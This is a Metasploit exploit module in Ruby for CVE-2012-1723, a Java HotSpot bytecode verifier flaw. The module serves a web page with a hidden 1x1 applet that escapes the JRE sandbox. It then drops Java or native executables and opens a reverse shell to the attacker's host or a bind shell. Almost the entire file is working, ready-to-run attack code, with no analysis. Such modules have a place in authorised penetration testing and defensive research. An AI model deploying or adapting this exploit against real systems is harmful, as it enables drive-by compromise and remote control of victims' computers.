Java Applet Field Bytecode Verifier Cache Remote Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({ :javascript => false })  
  
def initialize( info = {} )  
super( update_info( info,  
'Name' => 'Java Applet Field Bytecode Verifier Cache Remote Code Execution',  
'Description' => %q{  
This module exploits a vulnerability in HotSpot bytecode verifier where an invalid  
optimisation of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficent  
type checks. This allows a way to escape the JRE sandbox, and load additional classes  
in order to perform malicious operations.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Stefan Cornellius', # Discoverer  
'mihi', # Vuln analysis  
'littlelightlittlefire', # metasploit module  
'juan vazquez', # merged code (overlapped)  
'sinn3r' # merged code (overlapped)  
],  
'References' =>  
[  
['CVE', '2012-1723'],  
['OSVDB', '82877'],  
['BID', '52161'],  
['URL', 'http://schierlm.users.sourceforge.net/CVE-2012-1723.html'],  
['URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2012-1515912.html'],  
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=829373'],  
['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/253e7c32def9'],  
['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/8f86ad60699b']  
],  
'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ],  
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },  
'Targets' =>  
[  
[ 'Generic (Java Payload)',  
{  
'Platform' => ['java'],  
'Arch' => ARCH_JAVA  
}  
],  
[ 'Windows x86 (Native Payload)',  
{  
'Platform' => 'win',  
'Arch' => ARCH_X86  
}  
],  
[ 'Mac OS X PPC (Native Payload)',  
{  
'Platform' => 'osx',  
'Arch' => ARCH_PPC  
}  
],  
[ 'Mac OS X x86 (Native Payload)',  
{  
'Platform' => 'osx',  
'Arch' => ARCH_X86  
}  
],  
[ 'Linux x86 (Native Payload)',  
{  
'Platform' => 'linux',  
'Arch' => ARCH_X86  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jun 06 2012'  
))  
end  
  
  
def exploit  
# load the static jar file  
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-1723.jar" )  
fd = File.open( path, "rb" )  
@jar_data = fd.read(fd.stat.size)  
fd.close  
  
super  
end  
  
  
def on_request_uri( cli, request )  
data = ""  
host = ""  
port = ""  
  
if not request.uri.match(/\.jar$/i)  
if not request.uri.match(/\/$/)  
send_redirect( cli, get_resource() + '/', '')  
return  
end  
  
print_status("Sending #{self.name}")  
  
payload = regenerate_payload( cli )  
if not payload  
print_error("Failed to generate the payload." )  
return  
end  
  
if target.name == 'Generic (Java Payload)'  
if datastore['LHOST']  
jar = payload.encoded  
host = datastore['LHOST']  
port = datastore['LPORT']  
vprint_status("Sending java reverse shell")  
else  
port = datastore['LPORT']  
datastore['RHOST'] = cli.peerhost  
vprint_status( "Java bind shell" )  
end  
if jar  
print_status( "Generated jar to drop (#{jar.length} bytes)." )  
jar = Rex::Text.to_hex( jar, prefix="" )  
else  
print_error("Failed to generate the executable." )  
return  
end  
else  
  
# NOTE: The EXE mixin automagically handles detection of arch/platform  
data = generate_payload_exe  
  
if data  
print_status("Generated executable to drop (#{data.length} bytes)." )  
data = Rex::Text.to_hex( data, prefix="" )  
else  
print_error("Failed to generate the executable." )  
return  
end  
  
end  
  
send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } )  
return  
end  
  
print_status("Sending jar")  
send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )  
  
handler( cli )  
end  
  
def generate_html( data, jar, host, port )  
jar_name = rand_text_alpha(rand(6)+3) + ".jar"  
  
html = "<html><head></head>"  
html += "<body>"  
html += "<applet archive=\"#{jar_name}\" code=\"cve1723.Attacker\" width=\"1\" height=\"1\">"  
html += "<param name=\"data\" value=\"#{data}\"/>" if data  
html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar  
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host  
html += "</applet></body></html>"  
return html  
end  
  
def generate_jar()  
@jar_data  
end  
  
end  
  
`